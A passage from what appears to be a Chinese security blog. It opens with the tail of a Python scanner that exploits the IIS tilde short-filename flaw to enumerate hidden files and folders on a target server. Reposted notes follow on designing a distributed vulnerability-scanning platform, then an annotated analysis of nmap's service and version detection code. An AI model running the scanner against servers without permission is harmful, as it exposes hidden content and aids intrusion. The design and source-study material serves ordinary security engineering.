    def __init__(self, target):
        self.target = target
        self.scheme, self.netloc, self.path, params, query, fragment = urlparse.urlparse(target)

        if self.path[-1:] != '/':    # ends with slash
            self.path += '/'
        self.payloads = list('abcdefghijklmnopqrstuvwxyz0123456789_-')
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
    

    def _conn(self):
        try:
            if self.scheme == 'https':
                conn = httplib.HTTPSConnection(self.netloc)
            else:
                conn = httplib.HTTPConnection(self.netloc)
            return conn
        except Exception, e:
            print '[Exception in function _conn]', e
            return None



    # fetch http response status code
    def _get_status(self, path):
        try:
            conn = self._conn()
            conn.request('GET', path)
            status = conn.getresponse().status
            conn.close()
            return status
        except Exception, e:
            raise Exception('[Exception in function _get_status] %s' % str(e) )



    # test weather the server is vulerable
    def is_vul(self):
        try:
            status_1 = self._get_status(self.path + '/*~1****/a.aspx')    # an existed file/folder
            status_2 = self._get_status(self.path + '/san1e*~1****/a.aspx')    # not existed file/folder
            if status_1 == 404 and status_2 == 400:
                return True
            return False
        except Exception, e:
            raise Exception('[Exception in function is_val] %s' % str(e) )



    def run(self):
        # start from root path
        for payload in self.payloads:
            self.queue.put( (self.path + payload, '****') )    # filename, extention
        for i in range(10):  
            t = threading.Thread(target=self._scan_worker)
            self.threads.append(t)
            t.start()

    def report(self):
        for t in self.threads:
            t.join()
        self._print('-'* 64)
        for d in self.dirs:
            self._print('Dir:  ' + d)
        for f in self.files:
            self._print('File: ' + f)
        self._print('-'*64)
        self._print('%d Directories, %d Files found in toal' % (len(self.dirs), len(self.files)) )


    def _print(self, msg):
        self.lock.acquire()
        print msg
        self.lock.release()

    def _scan_worker(self):
        while True:
            try:
                url, ext = self.queue.get(timeout=3)
                status = self._get_status(url + '*~1' + ext + '/1.aspx')
                if status == 404:
                    self._print('Found ' +  url + ext + '\t[scan in progress]')

                    if len(url) - len(self.path)< 6:    # enum first 6 chars only
                        for payload in self.payloads:
                            self.queue.put( (url + payload, ext) )
                    else:
                        if ext == '****':    # begin to scan extention
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + payload + '**') )
                            self.queue.put( (url,'') )    # also it can be a folder
                        elif ext.count('*') == 3:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + payload + '*') )
                        elif ext.count('*') == 2:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + ext[2] + payload ) )
                        elif ext == '':
                            self.dirs.append(url + '~1')
                            self._print('Found Dir ' +  url + '~1\t[Done]')

                        elif ext.count('*') == 1:
                            self.files.append(url + '~1.' + ext[1:])
                            self._print('Found File ' + url + '~1.' + ext[1:] + '\t[Done]')
            except Exception,e:
                break

if len(sys.argv) == 1:
    print 'Usage: %s target' % sys.argv[0]
    sys.exit()

target = sys.argv[1]
s = Scanner(target)
if not s.is_vul():
    print 'Sorry, server is not vulerable'
    sys.exit(0)

print 'server is vulerable, please wait, scanning...'
s.run()
s.report()

效果图

分布式漏洞扫描系统设计与实现

发布时间:August 13, 2015 // 分类:工作日志,运维工作,代码学习,linux,windows,python,转帖文章 // No Comments

0x00·概述

1.1 前言
  由于信息在当今社会显得越来越重要,其安全性就越发突出,尤其是在近几年,信息安全越来越受到企业的重视。 如今,几乎所有的互联网都有开发自己的漏洞扫描平台,用于发现内部的安全隐患。此外,很多专业的安全工程师就有自己开发的漏洞挖掘系统,随着各种漏洞盒子的出现,这种系统也越来越多,越来越强大。

1.2 何去何从
   对于一个不是专门做安全的小公司来说,如果大费周章滴自己从头到尾开发一套扫描系统,那绝对是脑袋被驴踢了。但是这绝不意味着我们不去做漏洞扫描系统,相反,我们一定要去做,而且努力在资源有限的情况下做的更好。
   大家都知道,现在网上有很多开源的工具,比如sqlmap, hydra, medusa,openvas等等, 当然也有很多优秀的商业产品,比如WVS等。试想,倘若公司有成千上万个IP和域名,那么让几个安全工程师每天去使用这些不同工具,对公司的内网网进行安全扫描,那这个工作量是很大的,而且这些工作很多都是重复性的工作,所以很自然地想到:做一个自动化的漏洞扫描平台,然后自动调些工具进行扫描,最后将结果进行汇总以便分析。

1.3 可以走的更远一些  
    现在各种应用服务是个非常流行的概念,它可以降低很多使用成本和沟通成本,所以我们可以把漏洞扫描做成了一个平台,相当于做了一个漏洞扫描服务平台,任何对安全不是很了解的同事,不管是开发,还是运维,都可以使用该平台进行安全扫描,及时发现漏洞。如果安全人员只是在产品上线后才进行检测,那么出现踢皮球的事情,产品那边说急着上线,安全这边说不行,最后邮件打架到领导那去了。

    所以,如果条件允许的话,我们可以在产品QA里面加入安全QA流程,任何上线的产品,只需发送消息到此漏洞扫描平台的,就会自动化安全扫描,如果发现漏洞的话,我们可以协助研发人员把漏洞修复,保证产品上线的安全性。


1.4 多余的话 
    集成各种漏洞扫描挖掘工具,确实可以给我们带来很多开发上的便利,但每个公司难免都有一些不同的特点,导致会有一些特殊的需求,比如服务器没有按照标准进行安全加固,WEB服务器没有禁用与运维无关的端口等等,所以我们有必要在实现这些扫描系统的时候,必须做成一个插件式的系统框架,一方面是是可以保持系统稳定,兼容性好,另外一方面可以我们可以根据自己的需求写各种插件。

0x01·系统框架

2.1 概述
    分布式漏洞扫描系统采用分布式的结构方式,可以充分利用云平台的技术优势,对系统中的各个模块要尽量解耦,降低他们之间的依赖程度,使得整个系统具有较高的稳定性和扩展性。
   在设计系统之初,我们就想充分利用各种开源和商业扫描工具,做一个集中式的漏洞扫描平台,避免重复造轮子,加快整个系统的开发速度,同时也有利于方便更新系统的各个插件。
2.2 运行环境
    由于不同的扫描工具,所运行的环境有所不同,导致我们的扫描系统有必要兼容不同的系统。比如hydra, openvas等工具,它们是比较适合运行在Linux上,而WVS,appscan等工具是运行在Windows上,所以我们有必要同时兼容这两大类系统。如果再深入一点,Linux也分为很多种不同的系统,比如CentOS, Ubuntu,Redhat等,而且即便相同的系统,内核版本不同的话,运行环境也是有很大的区别。所以,我们有必要一开始就选择好运行环境,这样可以降低我们的开发的成本,以下表2-1是我们选定的运行环境。


                        表2-1 各节点运行环境
2.3 系统框架
  分布式漏洞扫描系统分为交互展示(web)模块,监控(manager)模块和扫描(scanner)模块三大类。其中,交互展示模块是使用Django实现的一个Web系统,用户可以通过该模块进行任务的下发,待任务结束后,可以查看任务的扫描结果。监控模块主要负责监控整个系统的运行状况,并且将系统的任务状态消息通过邮件的形式推送给你用户等等。扫描模块就是分布式系统的末端,根据运行环境的不同可分为Linux扫描节点和Windows扫描节点两大类,它是直接对目标服务器发起扫描测试的节点,待扫描结束后,就把扫描结果返回给中央数据库,整个系统的框架结构如下图2-1所示。

   从图2-1中,我们可以看到,用户通过Web模块下发扫描任务,当然用户也可以自己创建任务计划,然后监控模块(manager server)会自动根据计划来创建扫描任务。任务创建之后,会根据任务的不同分发到消息队列:如果任务所调用的脚本是运行在Linux环境中,那么该消息就会被发送到Linux消息队列中,如该任务底层所调用的工具是运行在Windows中,那么该消息就会被发送Windows消息队列。Linux/Windows扫描节点会相应地从各自Linux/Windows消息队列中获取扫描任务,然后启动相关的扫描脚本,对目标发起扫描,扫描结束之后,通过WEB模块提供的REST接口同步扫描结果到数据库中。
2.4 部署工具
   为了便于批量部署分布式扫描的各个节点,我们采用fabric进行部署,具体相关的使用方法可以参考如下官网:
 http://www.fabfile.org/
2.5 小结
    各种分布式漏洞扫描系统的实现方式大同小异,大部分都使用了集中式的管理方式,通过消息队列进行任务下发,结束时通过REST接口接收扫描结果,尽量解耦各个模块。

0x02·消息通信

3.1 概述
   分布式的漏洞扫描系统主要分成交互(Web)模块,监控(Manager)模块和扫描(Scanner)模块三大类,当然也有其他的一些实用辅助工具,类如批量部署脚本,数据恢复等等。这三大模块相互联系,相互联系,协调完成扫描任务。
   交互模块主要是用户的操作界面,主要用于发起对目标的扫描任务,制定扫描计划,查看扫描结果等等。监控模块则是负责监视整个系统的运行状态。扫描模块则是具体负责发起扫描进程的。这个三个模块是相互独立,但又通过不同消息通信方式进行协调运作。本章节主要介绍一下各个模块之间的通信方式。
3.2 任务消息的定义
    用户发起的任何一个扫描任务,都需要转换成相应的预定义格式的消息。为方便各个模块之间的消息解析处理,我们将消息定义的格式如下:


3.3 任务消息的传递
   在分布式的系统中,消息队列是最佳的消息传递方式,因而我们采用了Active MQ作为整个系统的消息传递媒介。扫描节点可以分成Windows扫描节点和Linux扫描节点两种,不同的节点所能处理的扫描任务类型是不同的,而我们希望分布式的漏洞扫描系统能够同时支持这两种,以便实现强大的集中式挖掘平台。
   为了更好地区分两种不同类型的扫描任务,我们将在Active MQ中创建2个任务消息队列。用户通过Web界面发起扫描任务时,会创建一个(或多个)任务消息对象,然后根据所选用扫描插件所运行的环境不同,分别将其序列化(json)之后发送到相应的任务消息队列中。而Windows和Linux扫描节点则分别从Windows消息队列和Linux消息队列中取扫描任务,然后进行处理,其结果如下图3-1所示。


                            图3-1 任务消息传递示意图
    从上图可以看出,任务在进入任务队列之前就已经根据扫描任务的不同区分是发送到Windows队列还是发送到Linux队列,避免了后续流程中存在任务的交叉性,在扫描结束后通过Web上的REST接口将扫描结果同步到中央管理平台。
3.4 扫描任务的取消
    扫描节点会通过Web提供的API接口周期性轮询扫描任务状态变化。如果用户取消任务时,扫描节点发现状态已经被设置为取消状态,那么扫描节点会终止该任务所对应的扫描进程。
3.5 监控模块信息通信
    监控模块主要是与Web模块进行交互的,它通过Web提供的额外的几个REST接口,用于查询当前的任务状态信息,同时还负责部分信息收集相关的扫描任务等等,全部都是REST接口来完成所有的相关功能,具体的实现方式参考监控模块章节。

 

0x03·扫描节点

4.1 概述

   扫描节点(scanner)是整个分布式扫描系统的终端节点,负责具体漏洞扫描。由于我们的漏洞扫描系统需要集中许多不同的扫描工具,在这些工具当中,有的是只能运行在Windows上,比如WVS,而有的则是只能运行在Linux上,比如openvas,而有的则是可以同时在两种系统上运行,比如nmap。所以,为了能够更好的地集中这些工具,就必须解决系统的异构问题,达到同时支持Linux扫描节点和Windows扫描节点,才能更大地发挥集中扫描平台的优势。
4.2 扫描框架
4.2.1 系统异构
   出于系统设计的需求,扫描节点必须需要同时运行在Linux和Windows节点,所以我们在设计扫描节点的框架时,必须要考虑到系统的异构问题。此外,为了减少代码的开发时间和运维工作量,我们不希望在Linux开发一套扫描系统,而在Windows上开发另外一套系统,这样无疑会增加我们的开发和运维成本,而且对以后的升级都是比较棘手的。所以,我们采用脚本语言python开发整个扫描系统,所有的扫描工具都是采用插件的形式封装,然后根据扫描任务动态加载。举个例子,扫描系统启动的时候,它是不会加载任何插件的,保证系统能够同时运行在Linux和Windows节点上,当用户发起的一个WEB扫描任务时,那么该任务会被发送到Windows消息队列,Windows扫描节点会从该消息队列中提取任务,然后动态加载WVS插件,然后调用WVS进行漏洞扫描。同理,假如用户发起的主机扫描任务,那么该任务就会发送到Linux消息队列,Linux扫描节点会从该消息队列中提取任务,然后动态加载openvas插件,然后调用openvas进行漏洞扫描。如此一来,同一个扫描系统可以同时兼容Windows和Linux系统,就很好地解决系统的异构问题。
4.2.2 框架结构
  在【消息通信】章节中,整个分布式系统主要是通过消息队列(ActiveMQ)来进行扫描任务的分发。同时,为解决系统异构问题,我们使用了Windows和Linux两个消息队列,用于不同类型的任务分发,扫描节点的框架如下图4-1所示。


                          图4-1 扫描节点的框架结构
  从上图中,我们可以看到扫描节点存在好几个不同类型的线程,分别负责不同的功能,其功能如下表3-1所示。
表3-1 扫描节点内部主要的线程和进程功能表


  对照图3-1和表3-1,我们可以看出,扫描节点的内部有任务队列【Task Queue】和结果队列【Result Queue】两个队列,而接收任务线程【Receive MQ Thread】首先从ActiveMQ中获取扫描任务,然后将其推入到内部的任务队列【Task Queue】中,主线程【Main Porcess Thread】会从内部队列【Task Queue】中提取扫描任务消息,然后根据任务消息启动一个扫描线程【Scan Thread】, 而扫描线程【Scan Thread】启动之后会创建一个插件进程【Plugin Process】,该进程会调用nmap, WVS,openvas等相关工具,待执行结束后会将扫描的结果推入到结果队列【Result Queue】。结果同步线程【Sync Result Thread】从结果队列【Result Queue】中获取扫描结果,然后通过WEB的REST接口同步到中央数据库。而查询任务状态线程【Query Task status Thread】则是周期性地通过WEB的REST接口查询当前扫描任务的状态,如果发现有任务被取消的话,那么它就会发送一个取消【Cancel】的消息到任务队列【Task Queue】中,然后主线程【Main Porcess Thread】取出这个消息后,就会终止相应的扫描线程【Scan Thread】和插件进程【Plugin Thread】。


   扫描节点内的多个线程,不同的线程负责不同的功能,虽然看起来比较复杂,但是这样可以尽量解耦各个模块之间,以增强可扩展性和稳定性,也可以大大降低后期的维护和升级的成本。


4.2.3扫描线程和插件进程的启动
  扫描节点中主线程会根据扫描任务通过内部线程管理器【Thread Manager】启动一个扫描线程,其框架如下图4-2所示。


                               图 4-2 扫描线程与插件进程
  从上图4-2可以看出,线程管理器启动了扫描线程之后,扫描线程会根据任务任务从插件工厂【Plugin Factory】获取任务相对应的插件进程实例,并启动插件进程。比如扫描线程1的任务类型是主机安全扫描,那么它会通过插件工厂获得一个openvas的插件实例(plugin A),然后启动该插件进程,扫描线程2的任务类型是Web漏洞扫描,那么它会通过插件工厂获得WVS的插件实例(Plugin B),然后启动该插件进程。
4.2.4扫描线程和插件进程的通信
  当扫描任务被取消的时候,主进程会找到相对应的扫描线程【Scan Thread】,然后通过扫描线程来终止相对应的插件进程【Plugin Thread】,其通信的框架如图4-3所示。 

                          图 4-3 扫描线程和插件进程的通信结构图
  扫描线程【Scan Thread】在启动插件进程时,会创建一个队列Queue用于和插件进程【Plugin Process】通信。在插件进程内部有任务扫描【Task Scanning】和通信【communication】两个线程,其中任务扫描线程是调用具体的扫描工具或者脚本的,比如openvas,nmap,WVS等等,在调用结束后会将扫描的结果推入到扫描节点内部的结果队列【Result Queue】中,而通信线程则是通过队列【Queue】与扫描线程通信。
   当任务被取消时,主线程会通过相对应的扫描线程发送一个终止的命令到队列queue中,插件进程中的通信线程收到这个消息时就会调用终止函数(stop_script)来结束当前的线程。各个插件的终止函数略有不同,这样可以让各个插件进程在终止前做一些必要的工作,比如同步已有结果,清理扫尾等,增加插件的灵活性。但是,如果超过一定的时间相关进程和线程还没有被终止的话,那么就会被主进程强制杀掉,避免进程僵死的情况发生。
4.4 小结
   为了解决系统的异构问题,我们采用了两个任务消息队列来下发扫描任务,扫描节点中的各个扫描功能模块全部采用插件的形式,在需要的时候动态加载,保证了系统的稳定性和可扩展性。

作者:胡杨<jekkay@easysb.cn><479904359@qq.com>

from:easysb.cn

PS:之所以转这个是因为这个的设计思路跟我正在做的东西的设计思路是差不多的.只能感慨下:创意无限~

Nmap源码分析(服务与版本扫描)

发布时间:August 7, 2015 // 分类:开发笔记,运维工作,工作日志,VC/C/C++,linux,转帖文章,windows // No Comments

  Nmap提供了丰富的命令行选项(100多个选项),所以Nmap的命令行用法既可以简单到直接输入nmap targetip,也可以复杂到添加几十个选项对扫描过程进行性能优化。对Nmap的各类命令行选项有个总体把握,是熟练使用Nmap的先决条件。因此,这里以思维导图方式将Nmap的常用选项绘制出来,给用户清晰直观的印象。

  Nmap的思维导图(Mindmap)

  下载地址:http://aspirationflowspace.googlecode.com/files/nmap_usage_mindmap.png

Nmap源码分析(服务与版本扫描)

 

  在进行端口扫描后,Nmap可以进一步探测出运行在端口上的服务类型及应用程序的版本。目前Nmap可以识别几千种服务程序的签名(Signature),覆盖了180多种应用协议。比如,端口扫描检测到80端口是开放的,可以通过服务与版本扫描来确定其实际运行的协议(正常情况下是HTTP)及Web服务器名称及版本(比如是Apache xxx.xxx或者Microsoft IIS等)。

 

 

  扫描原理是服务指纹(或称签名)对比匹配。Nmap内部包含了几千种常见服务指纹的数据库(nmap-service-probes),对目标端口进行连接通信,产生当前端口的服务指纹,再与指纹数据库对比,寻找出匹配的服务类型。

  服务与版本侦测主要分为以下几个步骤:

1.        首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

2.        如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中ProbeTCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“Welcome Banner”信息。nmap将接收到的Banner与nmap-services-probes中NULLprobe中的签名进行对比。查找对应应用程序的名字与版本信息。

3.        如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

4.        如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

5.        如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

6.        如果探测到应用程序是SunRPC,那么调用brute-forceRPC grinder进一步探测具体服务。

 

服务扫描用法

-sV: 指定让Nmap进行版本侦测

--version-intensity<level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

--version-light: 指定使用轻量侦测方式 (intensity 2)

--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

--version-trace: 显示出详细的版本侦测过程信息。

2   实现框架
下面先介绍服务与版本扫描涉及到的源文件与库、核心Class,然后介绍服务扫描的核心函数实现流程及流程的细节。
 
2.1  文件组织

service_scan.cc/service_scan.h

服务扫描的核心功能都在此两个文件中实现,文件结构清晰简洁,代码行数总共3000余行。与端口扫描部分类似,服务扫描也定义了不少类与接口函数。

nmap-service-probes

此文件是nmap服务扫描所需的数据库文件,包括定制的探测包及预期的回复包,及识别服务类型的具体匹配方式。

下面摘取其中片段,简单了解其结构。

Probe TCPNULL q||
# Wait forat least 6 seconds for data.  It used tobe 5, but some
# smtpservices have lately been instituting an artificial pause (see
#FEATURE('greet_pause') in Sendmail, for example)
totalwaitms6000
 
match 1c-server m|^S\xf5\xc6\x1a{|p/1C:Enterprise business management server/
 
match4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|sp/4th Dimension database server/
 
match acapm|^\* ACAP IMPLEMENTATION\"CommuniGateProACAP(\d[−.\w]+)\" |p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/
match acmpm|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/
matchactivemq m|^\0\0\0.\x01ActiveMQ\0\0\0|s p/Apache ActiveMQ/

第一行Probe关键字表示定义一个探测包,其类型为TCP,名字为NULL,探测字符串为空(q||)。以#开头为注释行,为读者提供参考信息。随后定义默认服务等待时间totalwaims 6000,即6秒钟。后面的match行,定义服务匹配的情况,即在此条件下认为此端口是运行的具体服务类型。match行的格式如下:

match <service> <pattern> [<versioninfo>]

service为服务名称,pattern为匹配的模式(正则表达式),versioninfo为该服务对应的版本信息。这里以match 1c-serverm|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/为例,当使用NULL探测包获取的返回包中包含:m|^S\xf5\xc6\x1a{|模式(该正则表达式含义:以字符S开头,紧随其后三个字符\xf5\xc6\x1a)时,并且从提取出厂商产品名字与1C:Enterprise businessmanagement server相符,那么判断该服务为1c-server。

其他的行与此类似,这里就不再赘述。

 

nsock library

服务与版本扫描部分用到nsock库,该库设计用于并发处理网络事件。在Nmap源码树下,有单独的nsock目录来管理nsock库。此处我们仅需要关注nsock.h文件中提供的API函数即可。

2.2  核心类分析

  服务扫描过程中,主要构建了5个类,分别描述不同层次的数据类型。下面我们将以宏观到微观的思路,依次查看每个类的结构与用法。其中ServiceGroup从整理的角度管理服务扫描过程;ServiceNFO则具体的负责管理每一种服务扫描过程;AllProbes负责管理所有用于服务扫描的探测包;ServiceProbe则描述每一个进行服务探测的探测包细节(对应nmap-service-probes中描述的探测包);ServiceProbeMatch则描述探测包的匹配类型(每一个ServiceProbe可能包含多种匹配类型)。

  下面依次查看每个类的细节。

 

2.2.1ServiceGroup

  ServiceGroup用于管理一组目标机进行服务扫描的信息。这个类非常重要,负责统一管理其他具体的信息:如单个服务扫描信息(ServiceNFO)、全部探测包信息(AllProbes)、服务探测包信息(ServiceProbe)等等。

  该类主要包含以下具体内容:

  1. 扫描完成的服务列表services_finished,记录目前已经扫描完毕的服务。
  2. 正在扫描的服务列表services_in_progress。多个服务可能在同时并发地被探测,所以此处将当前正在扫描的服务全部记录在该列表中。
  3. 剩余服务列表services_remaining,当前还没有开始探测的服务被放置在该列表中。在服务扫描初始化时,所有的服务的都被放置在列表中。
  4. 最大的并发探测包ideal_parallelism,用于确定同时发送服务探测包的并发数量,此值取决于用户配置的时序参数和具体网卡的支持能力等因素。若配置时序为-T4,那么会将ideal_parallelism设置40。
  5. 扫描进度测量器ScanProgressMeter,用于记录服务扫描的进度情况,以便能够实时地反馈给用户。在控制台界面按下普通按键(如按下空格键,不包括“vVdDp?”字符,这几个字符有特殊含义),Nmap会打印出当前的扫描进度。
  6. 超时主机的数量,记录当前扫描超时的主机数量。
// This holds theservice information for a group of Targets being service scanned.

class ServiceGroup {

public:

  ServiceGroup(vector<Target *>&Targets, AllProbes *AP);

  ~ServiceGroup();

  list<ServiceNFO *> services_finished;// Services finished (discovered or not)

  list<ServiceNFO *>services_in_progress; // Services currently being probed

  list<ServiceNFO *> services_remaining;// Probes not started yet

  unsigned int ideal_parallelism; // Max (anddesired) number of probes out at once.

  ScanProgressMeter *SPM;

  int num_hosts_timedout; // # of hosts timedout during (or before) scan

};

2.2.2ServiceNFO

  ServiceNFO负责管理特定的服务的探测细节。上述的ServiceGroup中就是管理ServiceNFO对象组成的列表。

  ServiceNFO类包含以下信息:

  1. 服务指纹的管理(提供添加与获取等操作)
  2. 服务扫描对应的主机(Target *target)
  3. 服务探测匹配的信息(是否匹配、是否softmatch、ssl配置、产品、版本、CPE等信息)
  4. 管理探测包(服务扫描过程可能需要发送多个探测包,在此对当前探测包、下一个探测包进行管理)
  5. 管理回复包(提供添加与获取等操作)。
  6. 服务扫描所需的全部探测包AllProbes *AP;

 

2.2.3AllProbes

  AllProbes负责管理全部的服务探测包(Probes)。该类的对象从nmap-service-probes数据库文件中解析出探测包及匹配方式等信息,将之管理起来。在后续服务扫描时,在此对象中来按需取出探测包发送即可。

  该类主要包含以下几个方面内容:

  1. 探测包管理(探测包向量std::vector<ServiceProbe *>probes、NULL探测包等)
  2. 编制回退数组(compileFallbacks),当回复包无法匹配当前字符串时,允许回退到上一次匹配字符串。
  3. 管理排除端口列表。在nmap-service-probes中指定需排除的服务扫描,默认排除TCP的9100-9107端口,此类打印机服务会返回大量的无用信息。
  4. 服务初始化接口与释放接口。

 

2.2.4ServiceProbe

  ServiceProbe负责管理单个的服务探测包的详细信息。服务探测包具体的信息来自nmap-service-probes数据库文件,当AllProbes类在初始化时会读取该文件,并依据其每个探测信息创建ServiceProbe对象,放置在AllProbes内部的向量std::vector<ServiceProbe *>probes中。

  该类主要包含以下内容:

  1. 探测包名字,比如探测包名字叫NULL或GenericLines等等。
  2. 探测包字符串及字符串长度。非NULL探测包都包含探测需要字符串,所以此处对该信息进行管理。例如,对于探测包:Probe TCP GenericLinesq|\r\n\r\n|,其探测字符串为\r\n\r\n。
  3. 允许的端口及SSL端口。除NULL外,探测包通常只会针对特定的端口扫描才有效,所以此处即管理该探测包允许的扫描的端口。
  4. 探测包的协议类型probeprotocol,只能是TCP或UDP。
  5. 可被探测的服务类型detectedServices。与允许端口类似,探测包可能只能用于某些特定的服务的探测,所以此处统一管理能被探测的服务类型。
  6. 服务探测包匹配管理。该类中使用向量std::vector<ServiceProbeMatch*> matches来管理此服务探测包可能会匹配的情况,匹配情况对应到nmap-service-probes中的match与softmatch行。
  7. 探测回退数组(fallback array)的管理,此对应到AllProbes中compileFallbacks()函数,此处管理具体的服务探测包进行回退的数组。数组结构:ServiceProbe*fallbacks[MAXFALLBACKS+1];
  8. 测试是否匹配,此接口函数用于测试某个回复包是否与预期结果匹配。
  9. 其他接口函数,管理其他普通信息。

 

2.2.5ServiceProbeMatch

  ServiceProbeMatch用于管理特定的服务探测包的匹配信息(match)。nmap-service-probes文件中每一个match和softmatch行都对应到该类的对象。

该类信息比较丰富,以下仅简要描述:

  1. 探测包匹配详细信息(版本、产品、CPE等等)
  2. 探测匹配情况(匹配类型、匹配字符串、正则表达式等等)
  3. 测试是否匹配接口函数。若匹配成功,返回详细的服务与版本信息。

 

2.3  代码流程

  在nmap.cc文件的nmap_main()函数中,如果配置了服务扫描,那么调用service_scan()函数(位于service_scan.cc文件中)。服务扫描的内容主要在service_scan()函数中完成。

  service_scan()函数比较简洁,只有120多行代码。因为服务扫描涉及到具体详细的操作都封装到类或其他的静态非成员函数中了,而并发处理网络事件部分调用nsock库来处理。

2.3.1代码流程图

2.3.2流程解析

  首先在nmap_main()中将扫描目标机传入service_scan()函数中,以便根据目标机端口状态来筛选需要扫描的服务。

  然后,在AllProbes:: service_scan_init()读取nmap-service-probes文件,解析出被排除的端口、扫描过程需要的探测包、探测包匹配等详细信息。将信息存放在AllProbes对象内。

  随后,根据Targets和AllProbes创建服务组对象(ServiceGroup),从Targets中解析出开放的端口与处于open|filtered状态的端口,创建对应的ServiceNFO对象,该服务等待被扫描。并创建扫描进度测量器,以便后续打印出扫描进度;确定最佳的扫描并发度ideal_parallelism。

  然后,确定排除端口。默认情况下,排除nmap-service-probes中指定的端口Exclude T:9100-9107;而如果用户命令行指定--all-ports,那么不排除Exclude指定的端口。

为每个目标机设置超时时钟,获取当前时间。

  然后开始进入关键环节,创建nsock pool,即nsock处理并发探测包的事件池。在创建nsock pool后,服务扫描才能使用nsock建立连接并注册事件。

根据用户需求,设置服务扫描的trace信息。

  若配置了openssl时,将其速度设置为最大。因为对于服务扫描,仅关心端口的服务类型,不必在安全性花费过多时间。

  然后开始启动少量的服务探测包(launchSomeServiceProbes)。根据前述步骤得出的服务探测包,创建nsock niod(io描述符,类似于文件描述符,管理输入输出),完成地址等信息配置,然后建立CP连接或UDP连接,在建立连接后向nsock pool注册事件。此后,该连接的事件将交给nsock loop来统一处理。

  创建nsock主循环(nsock_loop),在此循环中来接收网络事件(例如接收到回复包),调用相应的处理函数对事件响应(函数servicescan_read_handler()、servicescan_write_handler()、servicescan_connect_handler())。在处理函数中,扫描完成了某些服务后,会再调用launchSomeServiceProbes()函数加载剩余的服务进来扫描,以此整个服务扫描过程就被有序地连接起来了。

  当nsock循环退出,检查是否有错,并删除nsock pool对象。

  打印出调试信息,处理最终扫描结果。

3  源码注释

/* Execute a service fingerprinting scan against all open ports of the
   Targets specified. */
///针对指定目标机的开放的端口进行服务指纹扫描,
///此处会用到Nmap的nsock库(并发的Socket Event处理库)
int service_scan(vector<Target *> &Targets) {
  // int service_scan(Target *targets[], int num_targets)
  AllProbes *AP;
  ServiceGroup *SG;
  nsock_pool nsp;
  struct timeval now;
  int timeout;
  enum nsock_loopstatus looprc;
  struct timeval starttv;

  if (Targets.size() == 0)
    return 1;

  AP = AllProbes::service_scan_init();///获取AllProbes对象,AllProbes仅维护一个Static对象
  ///在service_scan_init()中将读取nmap-service-probes文件,解析出需要的探测包,并存放在
  ///AllProbes中std::vector<ServiceProbe *> probes向量中。


  // Now I convert the targets into a new ServiceGroup
  ///使用Targets向量与AllProbes创建服务组ServiceGroup,从Targets中提取open端口及
  ///open|filtered端口,放入services_remaining等待进行服务扫描。
  ///在创建服务组时,确定出服务扫描的最佳并发度ideal_parallelism
  SG = new ServiceGroup(Targets, AP);

  if (o.override_excludeports) {
    ///覆盖被排除端口,当命令行中指定--all-ports时会走到此分支。
    ///被排除的端口是指在nmap-service-probes文件用Exclude指令定义的端口。
    if (o.debugging || o.verbose) log_write(LOG_PLAIN, "Overriding exclude ports option! Some undesirable ports may be version scanned!\n");
  } else {
    ///从ServiceGroup中移除被排除的端口,Nmap默认会排出掉9100-9107与打印机相关的服务,
    ///因为此类服务只是简单返回Nmap发送过去的探测包,会产生大量的垃圾的流量。
    ///默认情况下在nmap-service-probes文件头部定义:Exclude T:9100-9107
    remove_excluded_ports(AP, SG);
  }
  ///为所有需要进行服务扫描的主机设置超时值
  startTimeOutClocks(SG);

  if (SG->services_remaining.size() == 0) {
    delete SG;
    return 1;
  }
  
  gettimeofday(&starttv, NULL);
  if (o.verbose) {
    char targetstr[128];
    bool plural = (Targets.size() != 1);
    if (!plural) {
      (*(Targets.begin()))->NameIP(targetstr, sizeof(targetstr));
    } else Snprintf(targetstr, sizeof(targetstr), "%u hosts", (unsigned) Targets.size());

    log_write(LOG_STDOUT, "Scanning %u %s on %s\n", 
          (unsigned) SG->services_remaining.size(), 
          (SG->services_remaining.size() == 1)? "service" : "services", 
          targetstr);
  }

  // Lets create a nsock pool for managing all the concurrent probes
  // Store the servicegroup in there for availability in callbacks
  ///创建nsock pool,以使用nsock并发控制探测包
  if ((nsp = nsp_new(SG)) == NULL) {
    fatal("%s() failed to create new nsock pool.", __func__);
  }

  ///根据用户指定的packettrace配置,设置nsock的trace级别
  if (o.versionTrace()) {
    nsp_settrace(nsp, NULL, NSOCK_TRACE_LEVEL, o.getStartTime());
  }

#if HAVE_OPENSSL
  /* We don't care about connection security in version detection. */
  ///配置SSL时,关注传输速度,而不关注安全性本身,以加速服务扫描过程。
  nsp_ssl_init_max_speed(nsp);
#endif

  ///从service_remaining列表中找出满足条件的等待探测服务,对之进行配置,
  ///创建nsock文件描述符(niod),并通过nsock建立连接(如nsock_connect_tcp()),
  ///并将此探测服务移动到services_in_progress列表中。
  launchSomeServiceProbes(nsp, SG);

  // How long do we have before timing out?
  gettimeofday(&now, NULL);
  timeout = -1;

  // OK!  Lets start our main loop!
